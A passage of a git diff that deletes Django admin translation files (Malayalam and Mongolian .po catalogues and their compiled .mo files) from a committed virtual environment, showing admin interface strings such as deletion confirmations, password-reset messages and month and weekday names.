objects:" -msgstr "" -"തിരഞ്ഞെടുക്കപ്പെട്ട %(object_name)s '%(escaped_object)s' നീക്കം ചെയ്യണമെങ്കിൽ അതിനോട് " -"ബന്ധപ്പെട്ടതായ താഴെപ്പറയുന്ന എല്ലാ വസ്തുക്കളും നീക്കം ചെയ്യുന്നതാണ്:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\" നീക്കം ചെയ്യണമെന്ന് ഉറപ്പാണോ?അതുമായി ബന്ധമുള്ള " -"താഴെപ്പറയുന്ന വസ്തുക്കളെല്ലാം നീക്കം ചെയ്യുന്നതാണ്:" - -msgid "Objects" -msgstr "വസ്തുക്കൾ" - -msgid "Yes, I’m sure" -msgstr "അതെ, എനിക്കുറപ്പാണ്" - -msgid "No, take me back" -msgstr "ഇല്ല, എന്നെ തിരിച്ചെടുക്കൂ" - -msgid "Delete multiple objects" -msgstr "ഒന്നിലേറെ വസ്തുക്കള്‍ നീക്കം ചെയ്യുക" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"തിരഞ്ഞെടുക്കപ്പെട്ട %(objects_name)s നീക്കം ചെയ്താൽ അതിനോട് ബന്ധപ്പെട്ടതായ താഴെപ്പറയുന്ന " -"എല്ലാ വസ്തുക്കളും നീക്കം ചെയ്യുന്നതാണ്, പക്ഷെ അതിനുളള അവകാശം അക്കൗണ്ടിനില്ല:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"തിരഞ്ഞെടുക്കപ്പെട്ട %(objects_name)s നീക്കം ചെയ്യണമെങ്കിൽ അതിനോട് ബന്ധപ്പെട്ടതായ " -"താഴെപ്പറയുന്ന എല്ലാ വസ്തുക്കളും നീക്കം ചെയ്യുന്നതാണ്:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"തിരഞ്ഞെടുക്കപ്പെട്ട %(objects_name)s നീക്കം ചെയ്യണമെന്നു ഉറപ്പാണോ ? തിരഞ്ഞെടുക്കപ്പെട്ടതും " -"അതിനോട് ബന്ധപ്പെട്ടതും ആയ എല്ലാ താഴെപ്പറയുന്ന വസ്തുക്കളും നീക്കം ചെയ്യുന്നതാണ്:" - -msgid "Delete?" -msgstr "ഡിലീറ്റ് ചെയ്യട്ടെ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s ആൽ" - -msgid "Summary" -msgstr "ചുരുക്കം" - -msgid "Recent actions" -msgstr "സമീപകാല പ്രവൃത്തികൾ" - -msgid "My actions" -msgstr "എന്റെ പ്രവർത്തനം" - -msgid "None available" -msgstr "ഒന്നും ലഭ്യമല്ല" - -msgid "Unknown content" -msgstr "ഉള്ളടക്കം അറിയില്ല." - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"താങ്കൾ ലോഗിൻ ചെയ്തിരിക്കുന്ന %(username)s, നു ഈ പേജ് കാണാൻ അനുവാദം ഇല്ല . താങ്കൾ " -"മറ്റൊരു അക്കൗണ്ടിൽ ലോഗിൻ ചെയ്യാന് ആഗ്രഹിക്കുന്നുവോ ?" - -msgid "Forgotten your password or username?" -msgstr "രഹസ്യവാക്കോ ഉപയോക്തൃനാമമോ മറന്നുപോയോ?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Date/time" -msgstr "തീയതി/സമയം" - -msgid "User" -msgstr "ഉപയോക്താവ്" - -msgid "Action" -msgstr "പ്രവർത്തി" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "എല്ലാം കാണട്ടെ" - -msgid "Save" -msgstr "സേവ് ചെയ്യണം" - -msgid "Popup closing…" -msgstr "പോപ്പ് അപ്പ് അടക്കുക " - -msgid "Search" -msgstr "പരതുക" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s results" -msgstr[1] "%(counter)s ഫലം" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "ആകെ %(full_result_count)s" - -msgid "Save as new" -msgstr "പുതിയതായി സേവ് ചെയ്യണം" - -msgid "Save and add another" -msgstr "സേവ് ചെയ്ത ശേഷം വേറെ ചേര്‍ക്കണം" - -msgid "Save and continue editing" -msgstr "സേവ് ചെയ്ത ശേഷം മാറ്റം വരുത്താം" - -msgid "Save and view" -msgstr "സേവ് ചെയ്‌തതിന്‌ ശേഷം കാണുക " - -msgid "Close" -msgstr "അടയ്ക്കുക" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "തിരഞ്ഞെടുത്തത് ഇല്ലാതാക്കുക%(model)s" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "ഈ വെബ് സൈറ്റില്‍ കുറെ നല്ല സമയം ചെലവഴിച്ചതിനു നന്ദി." - -msgid "Log in again" -msgstr "വീണ്ടും ലോഗ്-ഇന്‍ ചെയ്യുക." - -msgid "Password change" -msgstr "പാസ് വേര്‍ഡ് മാറ്റം" - -msgid "Your password was changed." -msgstr "നിങ്ങളുടെ പാസ് വേര്‍ഡ് മാറ്റിക്കഴിഞ്ഞു." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "എന്റെ പാസ് വേര്‍ഡ് മാറ്റണം" - -msgid "Password reset" -msgstr "പാസ് വേര്‍ഡ് പുനസ്ഥാപിക്കല്‍" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "നിങ്ങളുടെ പാസ് വേര്‍ഡ് തയ്യാര്‍. ഇനി ലോഗ്-ഇന്‍ ചെയ്യാം." - -msgid "Password reset confirmation" -msgstr "പാസ് വേര്‍ഡ് പുനസ്ഥാപിക്കല്‍ ഉറപ്പാക്കല്‍" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"ദയവായി നിങ്ങളുടെ പുതിയ പാസ് വേര്‍ഡ് രണ്ടു തവണ നല്കണം. ശരിയായാണ് ടൈപ്പു ചെയ്തത് എന്നു " -"ഉറപ്പിക്കാനാണ്." - -msgid "New password:" -msgstr "പുതിയ പാസ് വേര്‍ഡ്:" - -msgid "Confirm password:" -msgstr "പാസ് വേര്‍ഡ് ഉറപ്പാക്കൂ:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"പാസ് വേര്‍ഡ് പുനസ്ഥാപിക്കാന്‍ നല്കിയ ലിങ്ക് യോഗ്യമല്ല. ഒരു പക്ഷേ, അതു മുന്പ് തന്നെ ഉപയോഗിച്ചു " -"കഴിഞ്ഞതാവാം. പുതിയ ഒരു ലിങ്കിന് അപേക്ഷിക്കൂ." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"നിങ്ങളുൾ പാസ് വേർഡ്‌ മാറ്റാനുള്ള നിർദേശങ്ങൾ %(site_name)s ഇൽ ആവശ്യപ്പെട്ടതുകൊണ്ടാണ് ഈ " -"ഇമെയിൽ സന്ദേശം ലഭിച്ചദ്." - -msgid "Please go to the following page and choose a new password:" -msgstr "ദയവായി താഴെ പറയുന്ന പേജ് സന്ദര്‍ശിച്ച് പുതിയ പാസ് വേര്‍ഡ് തെരഞ്ഞെടുക്കുക:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "ഞങ്ങളുടെ സൈറ്റ് ഉപയോഗിച്ചതിന് നന്ദി!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s പക്ഷം" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "ഇമെയിൽ വിലാസം:" - -msgid "Reset my password" -msgstr "എന്റെ പാസ് വേര്‍ഡ് പുനസ്ഥാപിക്കൂ" - -msgid "All dates" -msgstr "എല്ലാ തീയതികളും" - -#, python-format -msgid "Select %s" -msgstr "%s തെരഞ്ഞെടുക്കൂ" - -#, python-format -msgid "Select %s to change" -msgstr "മാറ്റാനുള്ള %s തെരഞ്ഞെടുക്കൂ" - -#, python-format -msgid "Select %s to view" -msgstr "%s കാണാൻ തിരഞ്ഞെടുക്കുക" - -msgid "Date:" -msgstr "തിയ്യതി:" - -msgid "Time:" -msgstr "സമയം:" - -msgid "Lookup" -msgstr "തിരയുക" - -msgid "Currently:" -msgstr "നിലവിൽ:" - -msgid "Change:" -msgstr "മാറ്റം:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 0abc5e79..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.po deleted file mode 100644 index 964d3557..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,214 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aby Thomas , 2014 -# Jannis Leidel , 2011 -# MUHAMMED RAMEEZ , 2019 -# Rajeesh Nair , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-11 20:56+0200\n" -"PO-Revision-Date: 2020-05-13 00:53+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Malayalam (http://www.transifex.com/django/django/language/" -"ml/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ml\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "ലഭ്യമായ %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"ഇതാണ് ലഭ്യമായ %s പട്ടിക. അതില്‍ ചിലത് തിരഞ്ഞെടുക്കാന്‍ താഴെ കളത്തില്‍ നിന്നും ഉചിതമായവ സെലക്ട് " -"ചെയ്ത ശേഷം രണ്ടു കളങ്ങള്‍ക്കുമിടയിലെ \"തെരഞ്ഞെടുക്കൂ\" അടയാളത്തില്‍ ക്ലിക് ചെയ്യുക." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "ലഭ്യമായ %s പട്ടികയെ ഫില്‍ട്ടര്‍ ചെയ്തെടുക്കാന്‍ ഈ ബോക്സില്‍ ടൈപ്പ് ചെയ്യുക." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "എല്ലാം തെരഞ്ഞെടുക്കുക" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "%s എല്ലാം ഒന്നിച്ച് തെരഞ്ഞെടുക്കാന്‍ ക്ലിക് ചെയ്യുക." - -msgid "Choose" -msgstr "തെരഞ്ഞെടുക്കൂ" - -msgid "Remove" -msgstr "നീക്കം ചെയ്യൂ" - -#, javascript-format -msgid "Chosen %s" -msgstr "തെരഞ്ഞെടുത്ത %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"തെരഞ്ഞെടുക്കപ്പെട്ട %s പട്ടികയാണിത്. അവയില്‍ ചിലത് ഒഴിവാക്കണമെന്നുണ്ടെങ്കില്‍ താഴെ കളത്തില്‍ " -"നിന്നും അവ സെലക്ട് ചെയ്ത് കളങ്ങള്‍ക്കിടയിലുള്ള \"നീക്കം ചെയ്യൂ\" എന്ന അടയാളത്തില്‍ ക്ലിക് ചെയ്യുക." - -msgid "Remove all" -msgstr "എല്ലാം നീക്കം ചെയ്യുക" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "തെരഞ്ഞെടുക്കപ്പെട്ട %s എല്ലാം ഒരുമിച്ച് നീക്കം ചെയ്യാന്‍ ക്ലിക് ചെയ്യുക." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)sല്‍ %(sel)s തെരഞ്ഞെടുത്തു" -msgstr[1] "%(cnt)sല്‍ %(sel)s എണ്ണം തെരഞ്ഞെടുത്തു" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"വരുത്തിയ മാറ്റങ്ങള്‍ സേവ് ചെയ്തിട്ടില്ല. ഒരു ആക്ഷന്‍ പ്രയോഗിച്ചാല്‍ സേവ് ചെയ്യാത്ത മാറ്റങ്ങളെല്ലാം " -"നഷ്ടപ്പെടും." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "ഇപ്പോള്‍" - -msgid "Midnight" -msgstr "അര്‍ധരാത്രി" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "ഉച്ച" - -msgid "6 p.m." -msgstr "6 p.m" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "ഒർക്കുക: സെർവർ സമയത്തിനെക്കാളും നിങ്ങൾ %s സമയം മുൻപിലാണ്." -msgstr[1] "ഒർക്കുക: സെർവർ സമയത്തിനെക്കാളും നിങ്ങൾ %s സമയം മുൻപിലാണ്." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "ഒർക്കുക: സെർവർ സമയത്തിനെക്കാളും നിങ്ങൾ %s സമയം പിന്നിലാണ്." -msgstr[1] "ഒർക്കുക: സെർവർ സമയത്തിനെക്കാളും നിങ്ങൾ %s സമയം പിന്നിലാണ്." - -msgid "Choose a Time" -msgstr "സമയം തിരഞ്ഞെടുക്കുക" - -msgid "Choose a time" -msgstr "സമയം തെരഞ്ഞെടുക്കൂ" - -msgid "Cancel" -msgstr "റദ്ദാക്കൂ" - -msgid "Today" -msgstr "ഇന്ന്" - -msgid "Choose a Date" -msgstr "ഒരു തീയതി തിരഞ്ഞെടുക്കുക" - -msgid "Yesterday" -msgstr "ഇന്നലെ" - -msgid "Tomorrow" -msgstr "നാളെ" - -msgid "January" -msgstr "ജനുവരി" - -msgid "February" -msgstr "ഫെബ്രുവരി" - -msgid "March" -msgstr "മാർച്ച്" - -msgid "April" -msgstr "ഏപ്രിൽ" - -msgid "May" -msgstr "മെയ്" - -msgid "June" -msgstr "ജൂൺ" - -msgid "July" -msgstr "ജൂലൈ" - -msgid "August" -msgstr "ആഗസ്റ്റ്" - -msgid "September" -msgstr "സെപ്റ്റംബർ" - -msgid "October" -msgstr "ഒക്ടോബർ" - -msgid "November" -msgstr "നവംബർ" - -msgid "December" -msgstr "ഡിസംബര്" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "ഞ്ഞ‍" - -msgctxt "one letter Monday" -msgid "M" -msgstr "തി" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "ചൊ" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "ബു" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "വ്യാ" - -msgctxt "one letter Friday" -msgid "F" -msgstr "വെ" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "ശ" - -msgid "Show" -msgstr "കാണട്ടെ" - -msgid "Hide" -msgstr "മറയട്ടെ" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/django.mo deleted file mode 100644 index e39b6006..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/django.po deleted file mode 100644 index 89d0b300..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/django.po +++ /dev/null @@ -1,787 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ankhbayar , 2013 -# Jannis Leidel , 2011 -# jargalan , 2011 -# Turmunkh Batkhuyag, 2023-2024 -# Zorig, 2016 -# Анхбаяр Анхаа , 2013-2016,2018-2019,2021,2023 -# Баясгалан Цэвлээ , 2011,2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Turmunkh Batkhuyag, 2023-2024\n" -"Language-Team: Mongolian (http://app.transifex.com/django/django/language/" -"mn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Сонгосон %(verbose_name_plural)s-ийг устгах" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(items)s ээс %(count)d-ийг амжилттай устгалаа." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s устгаж чадахгүй." - -msgid "Delete multiple objects" -msgstr "Олон обектууд устгах" - -msgid "Administration" -msgstr "Удирдлага" - -msgid "All" -msgstr "Бүгд " - -msgid "Yes" -msgstr "Тийм" - -msgid "No" -msgstr "Үгүй" - -msgid "Unknown" -msgstr "Тодорхойгүй" - -msgid "Any date" -msgstr "Бүх өдөр" - -msgid "Today" -msgstr "Өнөөдөр" - -msgid "Past 7 days" -msgstr "Өнгөрсөн долоо хоног" - -msgid "This month" -msgstr "Энэ сар" - -msgid "This year" -msgstr "Энэ жил" - -msgid "No date" -msgstr "Огноогүй" - -msgid "Has date" -msgstr "Огноотой" - -msgid "Empty" -msgstr "Хоосон" - -msgid "Not empty" -msgstr "Хоосон биш" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Ажилтан хэрэглэгчийн %(username)s ба нууц үгийг зөв оруулна уу. Хоёр талбарт " -"том жижигээр үсгээр бичих ялгаатай." - -msgid "Action:" -msgstr "Үйлдэл:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Өөр %(verbose_name)s нэмэх " - -msgid "Remove" -msgstr "Хасах" - -msgid "Addition" -msgstr "Нэмэгдсэн" - -msgid "Change" -msgstr "Өөрчлөх" - -msgid "Deletion" -msgstr "Устгагдсан" - -msgid "action time" -msgstr "үйлдлийн хугацаа" - -msgid "user" -msgstr "хэрэглэгч" - -msgid "content type" -msgstr "агуулгын төрөл" - -msgid "object id" -msgstr "обектийн id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "обектийн хамаарал" - -msgid "action flag" -msgstr "үйлдэлийн тэмдэг" - -msgid "change message" -msgstr "өөрчлөлтийн мэдээлэл" - -msgid "log entry" -msgstr "лог өгөгдөл" - -msgid "log entries" -msgstr "лог өгөгдөлүүд" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Нэмэгдсэн \"%(object)s\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Өөрчлөгдсөн \"%(object)s\"— %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Устгагдсан \"%(object)s\"." - -msgid "LogEntry Object" -msgstr "Лог бүртгэлийн обект" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Нэмсэн {name} “{object}”." - -msgid "Added." -msgstr "Нэмэгдсэн." - -msgid "and" -msgstr "ба" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Changed {fields} for {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Өөрчлөгдсөн {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Устгасан {name} “{object}”." - -msgid "No fields changed." -msgstr "Өөрчилсөн талбар алга байна." - -msgid "None" -msgstr "Хоосон" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Нэгээс олныг сонгохын тулд \"Control\" эсвэл Mac компьютер дээр \"Command\" " -"товчоо дарна уу." - -msgid "Select this object for an action - {}" -msgstr "Сонголтоо хийхийн тулд энэ объектыг сонгоно уу - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” амжилттай нэмэгдлээ." - -msgid "You may edit it again below." -msgstr "Та дараахийг дахин засах боломжтой" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” амжилттай нэмэгдлээ. Та доорх {name}-ийг нэмэх боломжтой." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" амжилттай өөрчлөгдлөө. Та доорх талбаруудыг дахин засварлах " -"боломжтой." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"\"{name}\" \"{obj}\" амжилттай өөрчлөгдлөө. Доорх {name}-г нэмж оруулна уу." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \" {obj} \" амжилттай өөрчлөгдлөө." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Үйлдэл хийхийн тулд Та ядаж 1-ийг сонгох хэрэгтэй. Өөрчилөлт хийгдсэнгүй." - -msgid "No action selected." -msgstr "Үйлдэл сонгоогүй." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” амжилттай устгагдлаа." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "“%(key)s” ID-тай %(name)sбайхгүй байна. Магадгүй устсан уу?" - -#, python-format -msgid "Add %s" -msgstr "%s-ийг нэмэх" - -#, python-format -msgid "Change %s" -msgstr "%s-ийг өөрчлөх" - -#, python-format -msgid "View %s" -msgstr "%s харах " - -msgid "Database error" -msgstr "Өгөгдлийн сангийн алдаа" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s-ийг амжилттай өөрчиллөө." -msgstr[1] "%(count)s %(name)s-ийг амжилттай өөрчиллөө." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Бүгд %(total_count)s сонгогдсон" -msgstr[1] "Бүгд %(total_count)s сонгогдсон" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s оос 0 сонгосон" - -msgid "Delete" -msgstr "Устгах" - -#, python-format -msgid "Change history: %s" -msgstr "Өөрчлөлтийн түүх: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(instance)s %(class_name)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -" %(class_name)s төрлийн %(instance)s-ийг устгах гэж байна. Эхлээд дараах " -"холбоотой хамгаалагдсан обектуудыг устгах шаардлагатай: %(related_objects)s" - -msgid "Django site admin" -msgstr "Сайтын удирдлага" - -msgid "Django administration" -msgstr "Удирдлага" - -msgid "Site administration" -msgstr "Сайтын удирдлага" - -msgid "Log in" -msgstr "Нэвтрэх" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s удирдлага" - -msgid "Page not found" -msgstr "Хуудас олдсонгүй." - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Уучлаарай, хүссэн хуудас олдсонгүй." - -msgid "Home" -msgstr "Нүүр" - -msgid "Server error" -msgstr "Серверийн алдаа" - -msgid "Server error (500)" -msgstr "Серверийн алдаа (500)" - -msgid "Server Error (500)" -msgstr "Серверийн алдаа (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Алдаа гарсан байна. И-мэйлээр админуудад мэдэгдэгдсэн бөгөөд тун удахгүй " -"засах болно. Хамтран ажилласанд баярлалаа." - -msgid "Run the selected action" -msgstr "Сонгосон үйлдэлийг ажилуулах" - -msgid "Go" -msgstr "Гүйцэтгэх" - -msgid "Click here to select the objects across all pages" -msgstr "Бүх хуудаснууд дээрх объектуудыг сонгох" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Бүгдийг сонгох %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Сонгосонг цэвэрлэх" - -msgid "Breadcrumbs" -msgstr "Талхны үүрмэг" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s хэрэглүүр дэх моделууд." - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Нэмэх" - -msgid "View" -msgstr "Харах" - -msgid "You don’t have permission to view or edit anything." -msgstr "Та ямар ч харах эсвэл засах эрхгүй байна." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Нууц үг өөрчлөх" - -msgid "Set password" -msgstr "Нууг үг оноох" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Та доорх алдаануудыг засна уу." -msgstr[1] "Та доорх алдаануудыг засна уу." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s.хэрэглэгчид шинэ нууц үг оруулна уу." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" - -msgid "Disable password-based authentication" -msgstr "" - -msgid "Enable password-based authentication" -msgstr "" - -msgid "Skip to main content" -msgstr "Үндсэн агуулга руу шилжих" - -msgid "Welcome," -msgstr "Тавтай морилно уу" - -msgid "View site" -msgstr "Сайтаас харах" - -msgid "Documentation" -msgstr "Баримтжуулалт" - -msgid "Log out" -msgstr "Гарах" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s нэмэх" - -msgid "History" -msgstr "Түүх" - -msgid "View on site" -msgstr "Сайтаас харах" - -msgid "Filter" -msgstr "Шүүлтүүр" - -msgid "Hide counts" -msgstr "Тооцоог нуух" - -msgid "Show counts" -msgstr "Тооцоог харуулах" - -msgid "Clear all filters" -msgstr "Бүх шүүлтүүрийг арилгах" - -msgid "Remove from sorting" -msgstr "Эрэмблэлтээс хасах" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Эрэмблэх урьтамж: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Эрэмбэлэлтийг харуул" - -msgid "Toggle theme (current theme: auto)" -msgstr "Загварыг сэлгэх (одоогийн загвар: авто)" - -msgid "Toggle theme (current theme: light)" -msgstr "Загварыг сэлгэх (одоогийн загвар: өдрийн)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Загварыг сэлгэх (одоогийн горим: шөнийн)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s'-ийг устгавал холбогдох объект нь устах " -"ч бүртгэл тань дараах төрлийн объектуудийг устгах зөвшөөрөлгүй байна:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -" %(object_name)s обектийг устгаж байна. '%(escaped_object)s' холбоотой " -"хамгаалагдсан обектуудыг заавал утсгах хэрэгтэй :" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Та %(object_name)s \"%(escaped_object)s\"-ийг устгахдаа итгэлтэй байна уу? " -"Үүнийг устгавал дараах холбогдох зүйлс нь бүгд устана:" - -msgid "Objects" -msgstr "Бичлэгүүд" - -msgid "Yes, I’m sure" -msgstr "Тийм, би итгэлтэй." - -msgid "No, take me back" -msgstr "Үгүй, намайг буцаа" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Сонгосон %(objects_name)s обектуудыг устгасанаар хамаатай бүх обкетууд устах " -"болно. Гэхдээ таньд эрх эдгээр төрлийн обектуудыг утсгах эрх байхгүй байна: " - -#, 